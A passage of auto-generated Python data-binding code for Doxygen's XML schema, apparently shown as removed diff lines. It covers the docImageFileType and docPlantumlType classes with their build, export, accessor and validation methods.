namespaceprefix_ = self.xmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.xmlonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sxmlonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(xmlonly_), input_name='xmlonly')), namespaceprefix_ , eol_)) - for rtfonly_ in self.rtfonly: - namespaceprefix_ = self.rtfonly_nsprefix_ + ':' if (UseCapturedNS_ and self.rtfonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%srtfonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(rtfonly_), input_name='rtfonly')), namespaceprefix_ , eol_)) - for latexonly_ in self.latexonly: - namespaceprefix_ = self.latexonly_nsprefix_ + ':' if (UseCapturedNS_ and self.latexonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%slatexonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(latexonly_), input_name='latexonly')), namespaceprefix_ , eol_)) - for docbookonly_ in self.docbookonly: - namespaceprefix_ = self.docbookonly_nsprefix_ + ':' if (UseCapturedNS_ and self.docbookonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sdocbookonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(docbookonly_), input_name='docbookonly')), namespaceprefix_ , eol_)) - for image_ in self.image: - namespaceprefix_ = self.image_nsprefix_ + ':' if (UseCapturedNS_ and self.image_nsprefix_) else '' - image_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='image', pretty_print=pretty_print) - for dot_ in self.dot: - namespaceprefix_ = self.dot_nsprefix_ + ':' if (UseCapturedNS_ and self.dot_nsprefix_) else '' - dot_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='dot', pretty_print=pretty_print) - for msc_ in self.msc: - namespaceprefix_ = self.msc_nsprefix_ + ':' if (UseCapturedNS_ and self.msc_nsprefix_) else '' - msc_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='msc', pretty_print=pretty_print) - for plantuml_ in self.plantuml: - namespaceprefix_ = self.plantuml_nsprefix_ + ':' if (UseCapturedNS_ and self.plantuml_nsprefix_) else '' - plantuml_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='plantuml', pretty_print=pretty_print) - for anchor_ in self.anchor: - namespaceprefix_ = self.anchor_nsprefix_ + ':' if (UseCapturedNS_ and self.anchor_nsprefix_) else '' - anchor_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='anchor', pretty_print=pretty_print) - for formula_ in self.formula: - namespaceprefix_ = self.formula_nsprefix_ + ':' if (UseCapturedNS_ and self.formula_nsprefix_) else '' - formula_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='formula', pretty_print=pretty_print) - for ref_ in self.ref: - namespaceprefix_ = self.ref_nsprefix_ + ':' if (UseCapturedNS_ and self.ref_nsprefix_) else '' - ref_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ref', pretty_print=pretty_print) - for emoji_ in self.emoji: - namespaceprefix_ = self.emoji_nsprefix_ + ':' if (UseCapturedNS_ and self.emoji_nsprefix_) else '' - emoji_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emoji', pretty_print=pretty_print) - for linebreak_ in self.linebreak: - namespaceprefix_ = self.linebreak_nsprefix_ + ':' if (UseCapturedNS_ and self.linebreak_nsprefix_) else '' - linebreak_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='linebreak', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('name', node) - if value is not None and 'name' not in already_processed: - already_processed.add('name') - self.name = value - value = find_attr_value_('width', node) - if value is not None and 'width' not in already_processed: - already_processed.add('width') - self.width = value - value = find_attr_value_('height', node) - if value is not None and 'height' not in already_processed: - already_processed.add('height') - self.height = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'ulink': - obj_ = docURLLink.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ulink', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ulink'): - self.add_ulink(obj_.value) - elif hasattr(self, 'set_ulink'): - self.set_ulink(obj_.value) - elif nodeName_ == 'bold': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'bold', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_bold'): - self.add_bold(obj_.value) - elif hasattr(self, 'set_bold'): - self.set_bold(obj_.value) - elif nodeName_ == 's': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 's', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_s'): - self.add_s(obj_.value) - elif hasattr(self, 'set_s'): - self.set_s(obj_.value) - elif nodeName_ == 'strike': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'strike', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_strike'): - self.add_strike(obj_.value) - elif hasattr(self, 'set_strike'): - self.set_strike(obj_.value) - elif nodeName_ == 'underline': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'underline', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_underline'): - self.add_underline(obj_.value) - elif hasattr(self, 'set_underline'): - self.set_underline(obj_.value) - elif nodeName_ == 'emphasis': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emphasis', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emphasis'): - self.add_emphasis(obj_.value) - elif hasattr(self, 'set_emphasis'): - self.set_emphasis(obj_.value) - elif nodeName_ == 'computeroutput': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'computeroutput', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_computeroutput'): - self.add_computeroutput(obj_.value) - elif hasattr(self, 'set_computeroutput'): - self.set_computeroutput(obj_.value) - elif nodeName_ == 'subscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'subscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_subscript'): - self.add_subscript(obj_.value) - elif hasattr(self, 'set_subscript'): - self.set_subscript(obj_.value) - elif nodeName_ == 'superscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'superscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_superscript'): - self.add_superscript(obj_.value) - elif hasattr(self, 'set_superscript'): - self.set_superscript(obj_.value) - elif nodeName_ == 'center': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'center', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_center'): - self.add_center(obj_.value) - elif hasattr(self, 'set_center'): - self.set_center(obj_.value) - elif nodeName_ == 'small': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'small', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_small'): - self.add_small(obj_.value) - elif hasattr(self, 'set_small'): - self.set_small(obj_.value) - elif nodeName_ == 'cite': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'cite', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_cite'): - self.add_cite(obj_.value) - elif hasattr(self, 'set_cite'): - self.set_cite(obj_.value) - elif nodeName_ == 'del': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'del', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_del'): - self.add_del(obj_.value) - elif hasattr(self, 'set_del'): - self.set_del(obj_.value) - elif nodeName_ == 'ins': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ins', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ins'): - self.add_ins(obj_.value) - elif hasattr(self, 'set_ins'): - self.set_ins(obj_.value) - elif nodeName_ == 'htmlonly': - obj_ = docHtmlOnlyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'htmlonly', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_htmlonly'): - self.add_htmlonly(obj_.value) - elif hasattr(self, 'set_htmlonly'): - self.set_htmlonly(obj_.value) - elif nodeName_ == 'manonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'manonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'manonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'manonly', valuestr_) - self.content_.append(obj_) - self.manonly_nsprefix_ = child_.prefix - elif nodeName_ == 'xmlonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'xmlonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'xmlonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'xmlonly', valuestr_) - self.content_.append(obj_) - self.xmlonly_nsprefix_ = child_.prefix - elif nodeName_ == 'rtfonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'rtfonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'rtfonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'rtfonly', valuestr_) - self.content_.append(obj_) - self.rtfonly_nsprefix_ = child_.prefix - elif nodeName_ == 'latexonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'latexonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'latexonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'latexonly', valuestr_) - self.content_.append(obj_) - self.latexonly_nsprefix_ = child_.prefix - elif nodeName_ == 'docbookonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'docbookonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'docbookonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'docbookonly', valuestr_) - self.content_.append(obj_) - self.docbookonly_nsprefix_ = child_.prefix - elif nodeName_ == 'image': - obj_ = docImageType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'image', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_image'): - self.add_image(obj_.value) - elif hasattr(self, 'set_image'): - self.set_image(obj_.value) - elif nodeName_ == 'dot': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'dot', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_dot'): - self.add_dot(obj_.value) - elif hasattr(self, 'set_dot'): - self.set_dot(obj_.value) - elif nodeName_ == 'msc': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'msc', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_msc'): - self.add_msc(obj_.value) - elif hasattr(self, 'set_msc'): - self.set_msc(obj_.value) - elif nodeName_ == 'plantuml': - obj_ = docPlantumlType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'plantuml', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_plantuml'): - self.add_plantuml(obj_.value) - elif hasattr(self, 'set_plantuml'): - self.set_plantuml(obj_.value) - elif nodeName_ == 'anchor': - obj_ = docAnchorType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'anchor', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_anchor'): - self.add_anchor(obj_.value) - elif hasattr(self, 'set_anchor'): - self.set_anchor(obj_.value) - elif nodeName_ == 'formula': - obj_ = docFormulaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'formula', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_formula'): - self.add_formula(obj_.value) - elif hasattr(self, 'set_formula'): - self.set_formula(obj_.value) - elif nodeName_ == 'ref': - obj_ = docRefTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ref', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ref'): - self.add_ref(obj_.value) - elif hasattr(self, 'set_ref'): - self.set_ref(obj_.value) - elif nodeName_ == 'emoji': - obj_ = docEmojiType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emoji', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emoji'): - self.add_emoji(obj_.value) - elif hasattr(self, 'set_emoji'): - self.set_emoji(obj_.value) - elif nodeName_ == 'linebreak': - obj_ = docEmptyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'linebreak', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_linebreak'): - self.add_linebreak(obj_.value) - elif hasattr(self, 'set_linebreak'): - self.set_linebreak(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docImageFileType - - -class docPlantumlType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, name=None, width=None, height=None, caption=None, engine=None, ulink=None, bold=None, s=None, strike=None, underline=None, emphasis=None, computeroutput=None, subscript=None, superscript=None, center=None, small=None, cite=None, del_=None, ins=None, htmlonly=None, manonly=None, xmlonly=None, rtfonly=None, latexonly=None, docbookonly=None, image=None, dot=None, msc=None, plantuml=None, anchor=None, formula=None, ref=None, emoji=None, linebreak=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.name = _cast(None, name) - self.name_nsprefix_ = None - self.width = _cast(None, width) - self.width_nsprefix_ = None - self.height = _cast(None, height) - self.height_nsprefix_ = None - self.caption = _cast(None, caption) - self.caption_nsprefix_ = None - self.engine = _cast(None, engine) - self.engine_nsprefix_ = None - if ulink is None: - self.ulink = [] - else: - self.ulink = ulink - self.ulink_nsprefix_ = None - if bold is None: - self.bold = [] - else: - self.bold = bold - self.bold_nsprefix_ = None - if s is None: - self.s = [] - else: - self.s = s - self.s_nsprefix_ = None - if strike is None: - self.strike = [] - else: - self.strike = strike - self.strike_nsprefix_ = None - if underline is None: - self.underline = [] - else: - self.underline = underline - self.underline_nsprefix_ = None - if emphasis is None: - self.emphasis = [] - else: - self.emphasis = emphasis - self.emphasis_nsprefix_ = None - if computeroutput is None: - self.computeroutput = [] - else: - self.computeroutput = computeroutput - self.computeroutput_nsprefix_ = None - if subscript is None: - self.subscript = [] - else: - self.subscript = subscript - self.subscript_nsprefix_ = None - if superscript is None: - self.superscript = [] - else: - self.superscript = superscript - self.superscript_nsprefix_ = None - if center is None: - self.center = [] - else: - self.center = center - self.center_nsprefix_ = None - if small is None: - self.small = [] - else: - self.small = small - self.small_nsprefix_ = None - if cite is None: - self.cite = [] - else: - self.cite = cite - self.cite_nsprefix_ = None - if del_ is None: - self.del_ = [] - else: - self.del_ = del_ - self.del__nsprefix_ = None - if ins is None: - self.ins = [] - else: - self.ins = ins - self.ins_nsprefix_ = None - if htmlonly is None: - self.htmlonly = [] - else: - self.htmlonly = htmlonly - self.htmlonly_nsprefix_ = None - if manonly is None: - self.manonly = [] - else: - self.manonly = manonly - self.manonly_nsprefix_ = None - if xmlonly is None: - self.xmlonly = [] - else: - self.xmlonly = xmlonly - self.xmlonly_nsprefix_ = None - if rtfonly is None: - self.rtfonly = [] - else: - self.rtfonly = rtfonly - self.rtfonly_nsprefix_ = None - if latexonly is None: - self.latexonly = [] - else: - self.latexonly = latexonly - self.latexonly_nsprefix_ = None - if docbookonly is None: - self.docbookonly = [] - else: - self.docbookonly = docbookonly - self.docbookonly_nsprefix_ = None - if image is None: - self.image = [] - else: - self.image = image - self.image_nsprefix_ = None - if dot is None: - self.dot = [] - else: - self.dot = dot - self.dot_nsprefix_ = None - if msc is None: - self.msc = [] - else: - self.msc = msc - self.msc_nsprefix_ = None - if plantuml is None: - self.plantuml = [] - else: - self.plantuml = plantuml - self.plantuml_nsprefix_ = None - if anchor is None: - self.anchor = [] - else: - self.anchor = anchor - self.anchor_nsprefix_ = None - if formula is None: - self.formula = [] - else: - self.formula = formula - self.formula_nsprefix_ = None - if ref is None: - self.ref = [] - else: - self.ref = ref - self.ref_nsprefix_ = None - if emoji is None: - self.emoji = [] - else: - self.emoji = emoji - self.emoji_nsprefix_ = None - if linebreak is None: - self.linebreak = [] - else: - self.linebreak = linebreak - self.linebreak_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docPlantumlType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docPlantumlType.subclass: - return docPlantumlType.subclass(*args_, **kwargs_) - else: - return docPlantumlType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_ulink(self): - return self.ulink - def set_ulink(self, ulink): - self.ulink = ulink - def add_ulink(self, value): - self.ulink.append(value) - def insert_ulink_at(self, index, value): - self.ulink.insert(index, value) - def replace_ulink_at(self, index, value): - self.ulink[index] = value - def get_bold(self): - return self.bold - def set_bold(self, bold): - self.bold = bold - def add_bold(self, value): - self.bold.append(value) - def insert_bold_at(self, index, value): - self.bold.insert(index, value) - def replace_bold_at(self, index, value): - self.bold[index] = value - def get_s(self): - return self.s - def set_s(self, s): - self.s = s - def add_s(self, value): - self.s.append(value) - def insert_s_at(self, index, value): - self.s.insert(index, value) - def replace_s_at(self, index, value): - self.s[index] = value - def get_strike(self): - return self.strike - def set_strike(self, strike): - self.strike = strike - def add_strike(self, value): - self.strike.append(value) - def insert_strike_at(self, index, value): - self.strike.insert(index, value) - def replace_strike_at(self, index, value): - self.strike[index] = value - def get_underline(self): - return self.underline - def set_underline(self, underline): - self.underline = underline - def add_underline(self, value): - self.underline.append(value) - def insert_underline_at(self, index, value): - self.underline.insert(index, value) - def replace_underline_at(self, index, value): - self.underline[index] = value - def get_emphasis(self): - return self.emphasis - def set_emphasis(self, emphasis): - self.emphasis = emphasis - def add_emphasis(self, value): - self.emphasis.append(value) - def insert_emphasis_at(self, index, value): - self.emphasis.insert(index, value) - def replace_emphasis_at(self, index, value): - self.emphasis[index] = value - def get_computeroutput(self): - return self.computeroutput - def set_computeroutput(self, computeroutput): - self.computeroutput = computeroutput - def add_computeroutput(self, value): - self.computeroutput.append(value) - def insert_computeroutput_at(self, index, value): - self.computeroutput.insert(index, value) - def replace_computeroutput_at(self, index, value): - self.computeroutput[index] = value - def get_subscript(self): - return self.subscript - def set_subscript(self, subscript): - self.subscript = subscript - def add_subscript(self, value): - self.subscript.append(value) - def insert_subscript_at(self, index, value): - self.subscript.insert(index, value) - def replace_subscript_at(self, index, value): - self.subscript[index] = value - def get_superscript(self): - return self.superscript - def set_superscript(self, superscript): - self.superscript = superscript - def add_superscript(self, value): - self.superscript.append(value) - def insert_superscript_at(self, index, value): - self.superscript.insert(index, value) - def replace_superscript_at(self, index, value): - self.superscript[index] = value - def get_center(self): - return self.center - def set_center(self, center): - self.center = center - def add_center(self, value): - self.center.append(value) - def insert_center_at(self, index, value): - self.center.insert(index, value) - def replace_center_at(self, index, value): - self.center[index] = value - def get_small(self): - return self.small - def set_small(self, small): - self.small = small - def add_small(self, value): - self.small.append(value) - def insert_small_at(self, index, value): - self.small.insert(index, value) - def replace_small_at(self, index, value): - self.small[index] = value - def get_cite(self): - return self.cite - def set_cite(self, cite): - self.cite = cite - def add_cite(self, value): - self.cite.append(value) - def insert_cite_at(self, index, value): - self.cite.insert(index, value) - def replace_cite_at(self, index, value): - self.cite[index] = value - def get_del(self): - return self.del_ - def set_del(self, del_): - self.del_ = del_ - def add_del(self, value): - self.del_.append(value) - def insert_del_at(self, index, value): - self.del_.insert(index, value) - def replace_del_at(self, index, value): - self.del_[index] = value - def get_ins(self): - return self.ins - def set_ins(self, ins): - self.ins = ins - def add_ins(self, value): - self.ins.append(value) - def insert_ins_at(self, index, value): - self.ins.insert(index, value) - def replace_ins_at(self, index, value): - self.ins[index] = value - def get_htmlonly(self): - return self.htmlonly - def set_htmlonly(self, htmlonly): - self.htmlonly = htmlonly - def add_htmlonly(self, value): - self.htmlonly.append(value) - def insert_htmlonly_at(self, index, value): - self.htmlonly.insert(index, value) - def replace_htmlonly_at(self, index, value): - self.htmlonly[index] = value - def get_manonly(self): - return self.manonly - def set_manonly(self, manonly): - self.manonly = manonly - def add_manonly(self, value): - self.manonly.append(value) - def insert_manonly_at(self, index, value): - self.manonly.insert(index, value) - def replace_manonly_at(self, index, value): - self.manonly[index] = value - def get_xmlonly(self): - return self.xmlonly - def set_xmlonly(self, xmlonly): - self.xmlonly = xmlonly - def add_xmlonly(self, value): - self.xmlonly.append(value) - def insert_xmlonly_at(self, index, value): - self.xmlonly.insert(index, value) - def replace_xmlonly_at(self, index, value): - self.xmlonly[index] = value - def get_rtfonly(self): - return self.rtfonly - def set_rtfonly(self, rtfonly): - self.rtfonly = rtfonly - def add_rtfonly(self, value): - self.rtfonly.append(value) - def insert_rtfonly_at(self, index, value): - self.rtfonly.insert(index, value) - def replace_rtfonly_at(self, index, value): - self.rtfonly[index] = value - def get_latexonly(self): - return self.latexonly - def set_latexonly(self, latexonly): - self.latexonly = latexonly - def add_latexonly(self, value): - self.latexonly.append(value) - def insert_latexonly_at(self, index, value): - self.latexonly.insert(index, value) - def replace_latexonly_at(self, index, value): - self.latexonly[index] = value - def get_docbookonly(self): - return self.docbookonly - def set_docbookonly(self, docbookonly): - self.docbookonly = docbookonly - def add_docbookonly(self, value): - self.docbookonly.append(value) - def insert_docbookonly_at(self, index, value): - self.docbookonly.insert(index, value) - def replace_docbookonly_at(self, index, value): - self.docbookonly[index] = value - def get_image(self): - return self.image - def set_image(self, image): - self.image = image - def add_image(self, value): - self.image.append(value) - def insert_image_at(self, index, value): - self.image.insert(index, value) - def replace_image_at(self, index, value): - self.image[index] = value - def get_dot(self): - return self.dot - def set_dot(self, dot): - self.dot = dot - def add_dot(self, value): - self.dot.append(value) - def insert_dot_at(self, index, value): - self.dot.insert(index, value) - def replace_dot_at(self, index, value): - self.dot[index] = value - def get_msc(self): - return self.msc - def set_msc(self, msc): - self.msc = msc - def add_msc(self, value): - self.msc.append(value) - def insert_msc_at(self, index, value): - self.msc.insert(index, value) - def replace_msc_at(self, index, value): - self.msc[index] = value - def get_plantuml(self): - return self.plantuml - def set_plantuml(self, plantuml): - self.plantuml = plantuml - def add_plantuml(self, value): - self.plantuml.append(value) - def insert_plantuml_at(self, index, value): - self.plantuml.insert(index, value) - def replace_plantuml_at(self, index, value): - self.plantuml[index] = value - def get_anchor(self): - return self.anchor - def set_anchor(self, anchor): - self.anchor = anchor - def add_anchor(self, value): - self.anchor.append(value) - def insert_anchor_at(self, index, value): - self.anchor.insert(index, value) - def replace_anchor_at(self, index, value): - self.anchor[index] = value - def get_formula(self): - return self.formula - def set_formula(self, formula): - self.formula = formula - def add_formula(self, value): - self.formula.append(value) - def insert_formula_at(self, index, value): - self.formula.insert(index, value) - def replace_formula_at(self, index, value): - self.formula[index] = value - def get_ref(self): - return self.ref - def set_ref(self, ref): - self.ref = ref - def add_ref(self, value): - self.ref.append(value) - def insert_ref_at(self, index, value): - self.ref.insert(index, value) - def replace_ref_at(self, index, value): - self.ref[index] = value - def get_emoji(self): - return self.emoji - def set_emoji(self, emoji): - self.emoji = emoji - def add_emoji(self, value): - self.emoji.append(value) - def insert_emoji_at(self, index, value): - self.emoji.insert(index, value) - def replace_emoji_at(self, index, value): - self.emoji[index] = value - def get_linebreak(self): - return self.linebreak - def set_linebreak(self, linebreak): - self.linebreak = linebreak - def add_linebreak(self, value): - self.linebreak.append(value) - def insert_linebreak_at(self, index, value): - self.linebreak.insert(index, value) - def replace_linebreak_at(self, index, value): - self.linebreak[index] = value - def get_name(self): - return self.name - def set_name(self, name): - self.name = name - def get_width(self): - return self.width - def set_width(self, width): - self.width = width - def get_height(self): - return self.height - def set_height(self, height): - self.height = height - def get_caption(self): - return self.caption - def set_caption(self, caption): - self.caption = caption - def get_engine(self): - return self.engine - def set_engine(self, engine): - self.engine = engine - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def validate_DoxPlantumlEngine(self, value): - # Validate type DoxPlantumlEngine, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['uml', 'bpm', 'wire', 'dot', 'ditaa', 'salt', 'math', 'latex', 'gantt', 'mindmap', 'wbs', 'yaml', 'creole', 'json', 'flow', 'board', 'git', 'hcl', 'regex', 'ebnf'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxPlantumlEngine' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.ulink or - self.bold or - self.s or - self.strike or - self.underline or - self.emphasis or - self.computeroutput or - self.subscript or - self.superscript or - self.center or - self.small or - self.cite or - self.del_ or - self.ins or - self.htmlonly or - self.manonly or - self.xmlonly or - self.rtfonly or - self.latexonly or - self.docbookonly or - self.image or - self.dot or - self.msc or - self.plantuml or - self.anchor or - self.formula or - self.ref or - self.emoji or - self.linebreak or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docPlantumlType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docPlantumlType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docPlantumlType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docPlantumlType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, 